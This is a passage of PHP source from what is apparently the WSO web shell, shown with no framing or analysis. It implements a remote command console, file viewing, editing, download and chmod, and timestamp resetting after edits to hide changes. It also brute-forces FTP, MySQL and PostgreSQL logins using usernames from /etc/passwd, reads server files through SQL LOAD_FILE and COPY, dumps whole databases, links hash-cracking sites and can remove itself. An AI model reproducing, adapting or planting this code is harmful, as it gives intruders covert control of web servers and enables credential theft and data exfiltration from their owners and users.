760 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
761 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
762 $tmp = array(
763 'name' => $dirContent[$i],
764 'path' => $GLOBALS['cwd'] . $dirContent[$i],
765 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
766 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
767 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]),
768 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]),
769 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i])
770 );
771 if (@is_file($GLOBALS['cwd'] . $dirContent[$i]))
772 $files[] = array_merge($tmp, array(
773 'type' => 'file'
774 ));
775 elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i]))
776 $dirs[] = array_merge($tmp, array(
777 'type' => 'link',
778 'link' => readlink($tmp['path'])
779 ));
780 elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
781 $dirs[] = array_merge($tmp, array(
782 'type' => 'dir'
783 ));
784 }
785 $GLOBALS['sort'] = $sort;
786 function wsoCmp($a, $b)
787 {
788 if ($GLOBALS['sort'][0] != 'size')
789 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
790 else
791 return (($a['size'] < $b['size']) ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
792 }
793 usort($files, "wsoCmp");
794 usort($dirs, "wsoCmp");
795 $files = array_merge($dirs, $files);
796 $l = 0;
797 foreach ($files as $f) {
798 echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . (($f['type'] == 'file') ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" ' . (empty($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . (($f['type'] == 'file') ? wsoViewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . (($f['type'] == 'file') ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
799 $l = $l ? 0 : 1;
800 }
801 echo "<tr><td colspan=7>
802 <input type=hidden name=a value='FilesMan'>
803 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>
804 <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
805 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
806 if (class_exists('ZipArchive'))
807 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
808 echo "<option value='tar'>Compress (tar.gz)</option>";
809 if (!empty($_COOKIE['act']) && @count($_COOKIE['f']))
810 echo "<option value='paste'>Paste / Compress</option>";
811 echo "</select> ";
812 if (!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
813 echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip' ? 'zip' : 'tar.gz') . "'> ";
814 echo "<input type='submit' value='>>'></td></tr></form></table></div>";
815 wsoFooter();
816}
817function actionStringTools()
818{
819 if (!function_exists('hex2bin')) {
820 function hex2bin($p)
821 {
822 return decbin(hexdec($p));
823 }
824 }
825 if (!function_exists('binhex')) {
826 function binhex($p)
827 {
828 return dechex(bindec($p));
829 }
830 }
831 if (!function_exists('hex2ascii')) {
832 function hex2ascii($p)
833 {
834 $r = '';
835 for ($i = 0; $i < strLen($p); $i += 2) {
836 $r .= chr(hexdec($p[$i] . $p[$i + 1]));
837 }
838 return $r;
839 }
840 }
841 if (!function_exists('ascii2hex')) {
842 function ascii2hex($p)
843 {
844 $r = '';
845 for ($i = 0; $i < strlen($p); ++$i)
846 $r .= sprintf('%02X', ord($p[$i]));
847 return strtoupper($r);
848 }
849 }
850 if (!function_exists('full_urlencode')) {
851 function full_urlencode($p)
852 {
853 $r = '';
854 for ($i = 0; $i < strlen($p); ++$i)
855 $r .= '%' . dechex(ord($p[$i]));
856 return strtoupper($r);
857 }
858 }
859 $stringTools = array(
860 'Base64 encode' => 'base64_encode',
861 'Base64 decode' => 'base64_decode',
862 'Url encode' => 'urlencode',
863 'Url decode' => 'urldecode',
864 'Full urlencode' => 'full_urlencode',
865 'md5 hash' => 'md5',
866 'sha1 hash' => 'sha1',
867 'crypt' => 'crypt',
868 'CRC32' => 'crc32',
869 'ASCII to HEX' => 'ascii2hex',
870 'HEX to ASCII' => 'hex2ascii',
871 'HEX to DEC' => 'hexdec',
872 'HEX to BIN' => 'hex2bin',
873 'DEC to HEX' => 'dechex',
874 'DEC to BIN' => 'decbin',
875 'BIN to HEX' => 'binhex',
876 'BIN to DEC' => 'bindec',
877 'String to lower case' => 'strtolower',
878 'String to upper case' => 'strtoupper',
879 'Htmlspecialchars' => 'htmlspecialchars',
880 'String length' => 'strlen'
881 );
882 if (isset($_POST['ajax'])) {
883 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
884 ob_start();
885 if (in_array($_POST['p1'], $stringTools))
886 echo $_POST['p1']($_POST['p2']);
887 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
888 echo strlen($temp), "\n", $temp;
889 exit;
890 }
891 if (empty($_POST['ajax']) && !empty($_POST['p1']))
892 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
893 wsoHeader();
894 echo '<h1>String conversions</h1><div class=content>';
895 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
896 foreach ($stringTools as $k => $v)
897 echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
898 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['p1']) ? '' : htmlspecialchars(@$_POST['p2'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
899 if (!empty($_POST['p1'])) {
900 if (in_array($_POST['p1'], $stringTools))
901 echo htmlspecialchars($_POST['p1']($_POST['p2']));
902 }
903 echo "</pre></div><br><h1>Search files:</h1><div class=content>
904 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
905 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
906 <tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['cwd']) . "' style='width:100%'></td></tr>
907 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
908 <tr><td></td><td><input type='submit' value='>>'></td></tr>
909 </table></form>";
910 function wsoRecursiveGlob($path)
911 {
912 if (substr($path, -1) != '/')
913 $path .= '/';
914 $paths = @array_unique(@array_merge(@glob($path . $_POST['p3']), @glob($path . '*', GLOB_ONLYDIR)));
915 if (is_array($paths) && @count($paths)) {
916 foreach ($paths as $item) {
917 if (@is_dir($item)) {
918 if ($path != $item)
919 wsoRecursiveGlob($item);
920 } else {
921 if (empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2']) !== false)
922 echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($item) . "\", \"view\",\"\")'>" . htmlspecialchars($item) . "</a><br>";
923 }
924 }
925 }
926 }
927 if (@$_POST['p3'])
928 wsoRecursiveGlob($_POST['c']);
929 echo "</div><br><h1>Search for hash:</h1><div class=content>
930 <form method='post' target='_blank' name='hf'>
931 <input type='text' name='hash' style='width:200px;'><br>
932 <input type='hidden' name='act' value='find'/>
933 <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
934 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
935 <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
936 </form></div>";
937 wsoFooter();
938}
939function actionFilesTools()
940{
941 if (isset($_POST['p1']))
942 $_POST['p1'] = urldecode($_POST['p1']);
943 if (@$_POST['p2'] == 'download') {
944 if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
945 ob_start("ob_gzhandler", 4096);
946 header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
947 if (function_exists("mime_content_type")) {
948 $type = @mime_content_type($_POST['p1']);
949 header("Content-Type: " . $type);
950 } else
951 header("Content-Type: application/octet-stream");
952 $fp = @fopen($_POST['p1'], "r");
953 if ($fp) {
954 while (!@feof($fp))
955 echo @fread($fp, 1024);
956 fclose($fp);
957 }
958 }
959 exit;
960 }
961 if (@$_POST['p2'] == 'mkfile') {
962 if (!file_exists($_POST['p1'])) {
963 $fp = @fopen($_POST['p1'], 'w');
964 if ($fp) {
965 $_POST['p2'] = "edit";
966 fclose($fp);
967 }
968 }
969 }
970 wsoHeader();
971 echo '<h1>File tools</h1><div class=content>';
972 if (!file_exists(@$_POST['p1'])) {
973 echo 'File not exists';
974 wsoFooter();
975 return;
976 }
977 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
978 if (!$uid) {
979 $uid['name'] = @fileowner($_POST['p1']);
980 $gid['name'] = @filegroup($_POST['p1']);
981 } else
982 $gid = @posix_getgrgid(@filegroup($_POST['p1']));
983 echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? wsoViewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . wsoPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
984 echo '<span>Change time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
985 if (empty($_POST['p2']))
986 $_POST['p2'] = 'view';
987 if (is_file($_POST['p1']))
988 $m = array(
989 'View',
990 'Highlight',
991 'Download',
992 'Hexdump',
993 'Edit',
994 'Chmod',
995 'Rename',
996 'Touch'
997 );
998 else
999 $m = array(
1000 'Chmod',
1001 'Rename',
1002 'Touch'
1003 );
1004 foreach ($m as $v)
1005 echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\'' . strtolower($v) . '\')">' . ((strtolower($v) == @$_POST['p2']) ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
1006 echo '<br><br>';
1007 switch ($_POST['p2']) {
1008 case 'view':
1009 echo '<pre class=ml1>';
1010 $fp = @fopen($_POST['p1'], 'r');
1011 if ($fp) {
1012 while (!@feof($fp))
1013 echo htmlspecialchars(@fread($fp, 1024));
1014 @fclose($fp);
1015 }
1016 echo '</pre>';
1017 break;
1018 case 'highlight':
1019 if (@is_readable($_POST['p1'])) {
1020 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
1021 $code = @highlight_file($_POST['p1'], true);
1022 echo str_replace(array(
1023 '<span ',
1024 '</span>'
1025 ), array(
1026 '<font ',
1027 '</font>'
1028 ), $code) . '</div>';
1029 }
1030 break;
1031 case 'chmod':
1032 if (!empty($_POST['p3'])) {
1033 $perms = 0;
1034 for ($i = strlen($_POST['p3']) - 1; $i >= 0; --$i)
1035 $perms += (int) $_POST['p3'][$i] * pow(8, (strlen($_POST['p3']) - $i - 1));
1036 if (!@chmod($_POST['p1'], $perms))
1037 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
1038 }
1039 clearstatcache();
1040 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value=">>"></form>';
1041 break;
1042 case 'edit':
1043 if (!is_writable($_POST['p1'])) {
1044 echo 'File isn\'t writeable';
1045 break;
1046 }
1047 if (!empty($_POST['p3'])) {
1048 $time = @filemtime($_POST['p1']);
1049 $_POST['p3'] = substr($_POST['p3'], 1);
1050 $fp = @fopen($_POST['p1'], "w");
1051 if ($fp) {
1052 @fwrite($fp, $_POST['p3']);
1053 @fclose($fp);
1054 echo 'Saved!<br><script>p3_="";</script>';
1055 @touch($_POST['p1'], $time, $time);
1056 }
1057 }
1058 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
1059 $fp = @fopen($_POST['p1'], 'r');
1060 if ($fp) {
1061 while (!@feof($fp))
1062 echo htmlspecialchars(@fread($fp, 1024));
1063 @fclose($fp);
1064 }
1065 echo '</textarea><input type=submit value=">>"></form>';
1066 break;
1067 case 'hexdump':
1068 $c = @file_get_contents($_POST['p1']);
1069 $n = 0;
1070 $h = array(
1071 '00000000<br>',
1072 '',
1073 ''
1074 );
1075 $len = strlen($c);
1076 for ($i = 0; $i < $len; ++$i) {
1077 $h[1] .= sprintf('%02X', ord($c[$i])) . ' ';
1078 switch (ord($c[$i])) {
1079 case 0:
1080 $h[2] .= ' ';
1081 break;
1082 case 9:
1083 $h[2] .= ' ';
1084 break;
1085 case 10:
1086 $h[2] .= ' ';
1087 break;
1088 case 13:
1089 $h[2] .= ' ';
1090 break;
1091 default:
1092 $h[2] .= $c[$i];
1093 break;
1094 }
1095 $n++;
1096 if ($n == 32) {
1097 $n = 0;
1098 if ($i + 1 < $len) {
1099 $h[0] .= sprintf('%08X', $i + 1) . '<br>';
1100 }
1101 $h[1] .= '<br>';
1102 $h[2] .= "\n";
1103 }
1104 }
1105 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $h[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
1106 break;
1107 case 'rename':
1108 if (!empty($_POST['p3'])) {
1109 if (!@rename($_POST['p1'], $_POST['p3']))
1110 echo 'Can\'t rename!<br>';
1111 else
1112 die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
1113 }
1114 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value=">>"></form>';
1115 break;
1116 case 'touch':
1117 if (!empty($_POST['p3'])) {
1118 $time = strtotime($_POST['p3']);
1119 if ($time) {
1120 if (!touch($_POST['p1'], $time, $time))
1121 echo 'Fail!';
1122 else
1123 echo 'Touched!';
1124 } else
1125 echo 'Bad time format!';
1126 }
1127 clearstatcache();
1128 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value=">>"></form>';
1129 break;
1130 }
1131 echo '</div>';
1132 wsoFooter();
1133}
1134function actionConsole()
1135{
1136 if (!empty($_POST['p1']) && !empty($_POST['p2'])) {
1137 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', true);
1138 $_POST['p1'] .= ' 2>&1';
1139 } elseif (!empty($_POST['p1']))
1140 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', 0);
1141 if (isset($_POST['ajax'])) {
1142 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
1143 ob_start();
1144 echo "d.cf.cmd.value='';\n";
1145 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ " . $_POST['p1'] . "\n" . wsoEx($_POST['p1']), "\n\r\t\\'\0"));
1146 if (preg_match("!.*cd\s+([^;]+)$!", $_POST['p1'], $match)) {
1147 if (@chdir($match[1])) {
1148 $GLOBALS['cwd'] = @getcwd();
1149 echo "c_='" . $GLOBALS['cwd'] . "';";
1150 }
1151 }
1152 echo "d.cf.output.value+='" . $temp . "';";
1153 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
1154 $temp = ob_get_clean();
1155 echo strlen($temp), "\n", $temp;
1156 exit;
1157 }
1158 if (empty($_POST['ajax']) && !empty($_POST['p1']))
1159 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
1160 wsoHeader();
1161 echo "<script>
1162if(window.Event) window.captureEvents(Event.KEYDOWN);
1163var cmds = new Array('');
1164var cur = 0;
1165function kp(e) {
1166 var n = (window.Event) ? e.which : e.keyCode;
1167 if(n == 38) {
1168 cur--;
1169 if(cur>=0)
1170 document.cf.cmd.value = cmds[cur];
1171 else
1172 cur++;
1173 } else if(n == 40) {
1174 cur++;
1175 if(cur < cmds.length)
1176 document.cf.cmd.value = cmds[cur];
1177 else
1178 cur--;
1179 }
1180}
1181function add(cmd) {
1182 cmds.pop();
1183 cmds.push(cmd);
1184 cmds.push('');
1185 cur = cmds.length-1;
1186}
1187</script>";
1188 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
1189 foreach ($GLOBALS['aliases'] as $n => $v) {
1190 if ($v == '') {
1191 echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
1192 continue;
1193 }
1194 echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
1195 }
1196 echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
1197 if (!empty($_POST['p1'])) {
1198 echo htmlspecialchars("$ " . $_POST['p1'] . "\n" . wsoEx($_POST['p1']));
1199 }
1200 echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
1201 echo '</form></div><script>d.cf.cmd.focus();</script>';
1202 wsoFooter();
1203}
1204function actionLogout()
1205{
1206 setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
1207 die('bye!');
1208}
1209function actionSelfRemove()
1210{
1211 if ($_POST['p1'] == 'yes')
1212 if (@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
1213 die('Shell has been removed');
1214 else
1215 echo 'unlink error!';
1216 if ($_POST['p1'] != 'yes')
1217 wsoHeader();
1218 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1219 wsoFooter();
1220}
1221function actionBruteforce()
1222{
1223 wsoHeader();
1224 if (isset($_POST['proto'])) {
1225 echo '<h1>Results</h1><div class=content><span>Type:</span> ' . htmlspecialchars($_POST['proto']) . ' <span>Server:</span> ' . htmlspecialchars($_POST['server']) . '<br>';
1226 if ($_POST['proto'] == 'ftp') {
1227 function wsoBruteForce($ip, $port, $login, $pass)
1228 {
1229 $fp = @ftp_connect($ip, $port ? $port : 21);
1230 if (!$fp)
1231 return false;
1232 $res = @ftp_login($fp, $login, $pass);
1233 @ftp_close($fp);
1234 return $res;
1235 }
1236 } elseif ($_POST['proto'] == 'mysql') {
1237 function wsoBruteForce($ip, $port, $login, $pass)
1238 {
1239 $res = @mysql_connect($ip . ':' . ($port ? $port : 3306), $login, $pass);
1240 @mysql_close($res);
1241 return $res;
1242 }
1243 } elseif ($_POST['proto'] == 'pgsql') {
1244 function wsoBruteForce($ip, $port, $login, $pass)
1245 {
1246 $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres";
1247 $res = @pg_connect($str);
1248 @pg_close($res);
1249 return $res;
1250 }
1251 }
1252 $success = 0;
1253 $attempts = 0;
1254 $server = explode(":", $_POST['server']);
1255 if ($_POST['type'] == 1) {
1256 $temp = @file('/etc/passwd');
1257 if (is_array($temp))
1258 foreach ($temp as $line) {
1259 $line = explode(":", $line);
1260 ++$attempts;
1261 if (wsoBruteForce(@$server[0], @$server[1], $line[0], $line[0])) {
1262 $success++;
1263 echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($line[0]) . '<br>';
1264 }
1265 if (@$_POST['reverse']) {
1266 $tmp = "";
1267 for ($i = strlen($line[0]) - 1; $i >= 0; --$i)
1268 $tmp .= $line[0][$i];
1269 ++$attempts;
1270 if (wsoBruteForce(@$server[0], @$server[1], $line[0], $tmp)) {
1271 $success++;
1272 echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($tmp);
1273 }
1274 }
1275 }
1276 } elseif ($_POST['type'] == 2) {
1277 $temp = @file($_POST['dict']);
1278 if (is_array($temp))
1279 foreach ($temp as $line) {
1280 $line = trim($line);
1281 ++$attempts;
1282 if (wsoBruteForce($server[0], @$server[1], $_POST['login'], $line)) {
1283 $success++;
1284 echo '<b>' . htmlspecialchars($_POST['login']) . '</b>:' . htmlspecialchars($line) . '<br>';
1285 }
1286 }
1287 }
1288 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1289 }
1290 echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' . '<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' . '<input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">' . '<input type=hidden name=a value="' . htmlspecialchars($_POST['a']) . '">' . '<input type=hidden name=charset value="' . htmlspecialchars($_POST['charset']) . '">' . '<span>Server:port</span></td>' . '<td><input type=text name=server value="127.0.0.1"></td></tr>' . '<tr><td><span>Brute type</span></td>' . '<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' . '<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' . '<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' . '<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' . '<td><input type=text name=login value="root"></td></tr>' . '<tr><td><span>Dictionary</span></td>' . '<td><input type=text name=dict value="' . htmlspecialchars($GLOBALS['cwd']) . 'passwd.dic"></td></tr></table>' . '</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1291 echo '</div><br>';
1292 wsoFooter();
1293}
1294function actionSql()
1295{
1296 class DbClass
1297 {
1298 var $type;
1299 var $link;
1300 var $res;
1301 function DbClass($type)
1302 {
1303 $this->type = $type;
1304 }
1305 function connect($host, $user, $pass, $dbname)
1306 {
1307 switch ($this->type) {
1308 case 'mysql':
1309 if ($this->link = @mysql_connect($host, $user, $pass, true))
1310 return true;
1311 break;
1312 case 'pgsql':
1313 $host = explode(':', $host);
1314 if (!$host[1])
1315 $host[1] = 5432;
1316 if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname"))
1317 return true;
1318 break;
1319 }
1320 return false;
1321 }
1322 function selectdb($db)
1323 {
1324 switch ($this->type) {
1325 case 'mysql':
1326 if (@mysql_select_db($db))
1327 return true;
1328 break;
1329 }
1330 return false;
1331 }
1332 function query($str)
1333 {
1334 switch ($this->type) {
1335 case 'mysql':
1336 return $this->res = @mysql_query($str);
1337 break;
1338 case 'pgsql':
1339 return $this->res = @pg_query($this->link, $str);
1340 break;
1341 }
1342 return false;
1343 }
1344 function fetch()
1345 {
1346 $res = func_num_args() ? func_get_arg(0) : $this->res;
1347 switch ($this->type) {
1348 case 'mysql':
1349 return @mysql_fetch_assoc($res);
1350 break;
1351 case 'pgsql':
1352 return @pg_fetch_assoc($res);
1353 break;
1354 }
1355 return false;
1356 }
1357 function listDbs()
1358 {
1359 switch ($this->type) {
1360 case 'mysql':
1361 return $this->query("SHOW databases");
1362 break;
1363 case 'pgsql':
1364 return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
1365 break;
1366 }
1367 return false;
1368 }
1369 function listTables()
1370 {
1371 switch ($this->type) {
1372 case 'mysql':
1373 return $this->res = $this->query('SHOW TABLES');
1374 break;
1375 case 'pgsql':
1376 return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
1377 break;
1378 }
1379 return false;
1380 }
1381 function error()
1382 {
1383 switch ($this->type) {
1384 case 'mysql':
1385 return @mysql_error();
1386 break;
1387 case 'pgsql':
1388 return @pg_last_error();
1389 break;
1390 }
1391 return false;
1392 }
1393 function setCharset($str)
1394 {
1395 switch ($this->type) {
1396 case 'mysql':
1397 if (function_exists('mysql_set_charset'))
1398 return @mysql_set_charset($str, $this->link);
1399 else
1400 $this->query('SET CHARSET ' . $str);
1401 break;
1402 case 'pgsql':
1403 return @pg_set_client_encoding($this->link, $str);
1404 break;
1405 }
1406 return false;
1407 }
1408 function loadFile($str)
1409 {
1410 switch ($this->type) {
1411 case 'mysql':
1412 return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
1413 break;
1414 case 'pgsql':
1415 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '" . addslashes($str) . "';select file from wso2;");
1416 $r = array();
1417 while ($i = $this->fetch())
1418 $r[] = $i['file'];
1419 $this->query('drop table wso2');
1420 return array(
1421 'file' => implode("\n", $r)
1422 );
1423 break;
1424 }
1425 return false;
1426 }
1427 function dump($table, $fp = false)
1428 {
1429 switch ($this->type) {
1430 case 'mysql':
1431 $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
1432 $create = mysql_fetch_array($res);
1433 $sql = $create[1] . ";\n";
1434 if ($fp)
1435 fwrite($fp, $sql);
1436 else
1437 echo ($sql);
1438 $this->query('SELECT * FROM `' . $table . '`');
1439 $i = 0;
1440 $head = true;
1441 while ($item = $this->fetch()) {
1442 $sql = '';
1443 if ($i % 1000 == 0) {
1444 $head = true;
1445 $sql = ";\n\n";
1446 }
1447 $columns = array();
1448 foreach ($item as $k => $v) {
1449 if ($v === null)
1450 $item[$k] = "NULL";
1451 elseif (is_int($v))
1452 $item[$k] = $v;
1453 else
1454 $item[$k] = "'" . @mysql_real_escape_string($v) . "'";
1455 $columns[] = "`" . $k . "`";
1456 }
1457 if ($head) {
1458 $sql .= 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES \n\t(" . implode(", ", $item) . ')';
1459 $head = false;
1460 } else
1461 $sql .= "\n\t,(" . implode(", ", $item) . ')';
1462 if ($fp)
1463 fwrite($fp, $sql);
1464 else
1465 echo ($sql);
1466 $i++;
1467 }
1468 if (!$head)
1469 if ($fp)
1470 fwrite($fp, ";\n\n");
1471 else
1472 echo (";\n\n");
1473 break;
1474 case 'pgsql':
1475 $this->query('SELECT * FROM ' . $table);
1476 while ($item = $this->fetch()) {
1477 $columns = array();
1478 foreach ($item as $k => $v) {
1479 $item[$k] = "'" . addslashes($v) . "'";
1480 $columns[] = $k;
1481 }
1482 $sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "\n";
1483 if ($fp)
1484 fwrite($fp, $sql);
1485 else
1486 echo ($sql);
1487 }
1488 break;
1489 }
1490 return false;
1491 }
1492 }
1493 ;
1494 $db = new DbClass($_POST['type']);
1495 if ((@$_POST['p2'] == 'download') && (@$_POST['p1'] != 'select')) {
1496 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1497 $db->selectdb($_POST['sql_base']);
1498 switch ($_POST['charset']) {
1499 case "Windows-1251":
1500 $db->setCharset('cp1251');
1501 break;
